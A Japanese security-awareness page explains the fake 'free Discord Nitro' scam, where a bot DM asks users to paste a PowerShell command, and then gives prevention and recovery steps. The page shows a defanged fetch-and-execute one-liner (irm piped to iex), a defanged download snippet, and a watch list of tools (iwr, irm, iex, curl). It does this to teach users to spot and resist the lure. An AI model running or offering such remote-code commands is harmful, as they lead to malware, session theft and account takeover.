1.

表で見える動き

DMと偽の案内

Nitro GiveawaysBOT今日 12:34

期間限定でNitroを無料配布中!下のコマンドを実行して受け取ってください。

Limited-time Free Nitro. Run the command below to claim it.

powershell -c "irm hxxps://example[.]invalid/nitro.ps1 | iex"
雑に言うと

無料、知人からのDM、急かし。この3つで判断を雑にさせます。普段なら怪しいコマンド貼り付けも、流れで通してしまうのが狙いです。

2.

裏で起きること

ざっくりした処理の流れ

1スクリプトを実行させる
2外部サーバーからコードを取得
3マルウェアが実行される
4セッションや情報を窃取
5アカウントへアクセス
3.

コマンドの読み方

見るべきポイントだけ

これは無害化した例です。実行しないでください。
PowerShell · defanged sample
$response = Invoke-WebRequest "hxxps://example[.]invalid/payload"
# The returned content is intentionally not executed in this sample.

外部URLから文字列を取り、それをPowerShellとして評価する形です。実体は外側のサーバーで差し替えられます。

iwr

iwr は外部URLへHTTPリクエストを投げます。

iex

iex は渡された文字列をPowerShellとして実行します。

組み合わせの危険性

取得と実行が一行にまとまると、中身を見る前に外部コードが走ります。ここが危ない。

4.

2FAで止まらない理由

ログイン前ではなくログイン後の話

2FAは新規ログインを強くします。ただ、ログイン済みセッションを盗まれると話が別です。

通常のログイン
  1. 1パスワードを入力
  2. 22FAで本人確認
  3. 3ログイン成功
  4. 4セッションが発行される
セッション窃取
  1. 1マルウェアが実行される
  2. 2既存セッションが盗まれる
  3. 3認証済み状態が再利用される
  4. 4アカウントが操作される
突破というより、2FA後の状態を盗む

セッションが生きていると、攻撃者はログイン手順を踏まずに済む場合があります。だからパスワード変更だけでなく、全セッションのログアウトまでやる必要があります。

1.

対策

Prevention

  • Nitroや無料機能のためにPowerShell/CMDを実行しない
  • iwr、irm、iex、curl、短縮URLが見えたら止まる
  • 知人から来ても別経路で確認する
  • Discordの2FAを有効にしてバックアップコードを保管する
  • OS、ブラウザ、Discordを更新しておく
2.

実行した後

やる順番

順番が重要です

怪しい端末で先にパスワード変更しない。新しいパスワードまで抜かれる可能性があります。

  1. 1
    端末をネットワークから切る

    Wi-Fi、有線LAN、VPNを切って追加通信を止める。

  2. 2
    別端末からパスワード変更

    Discordと、使い回していたサービスをまとめて変える。

  3. 3
    全セッションをログアウト

    盗まれたセッションを残さない。

  4. 4
    2FAと復旧情報を見る

    バックアップコード、認証アプリ、復旧メールを確認する。

  5. 5
    端末をスキャン

    Defenderなどを更新してフルスキャン。怪しければ初期化も検討。

  6. 6
    周囲に知らせる

    自分から届いたリンクやファイルを開かないよう伝える。

緊急対応をフル手順で開く
5.

関連

近い手口

6.

参考情報・ソース

Sources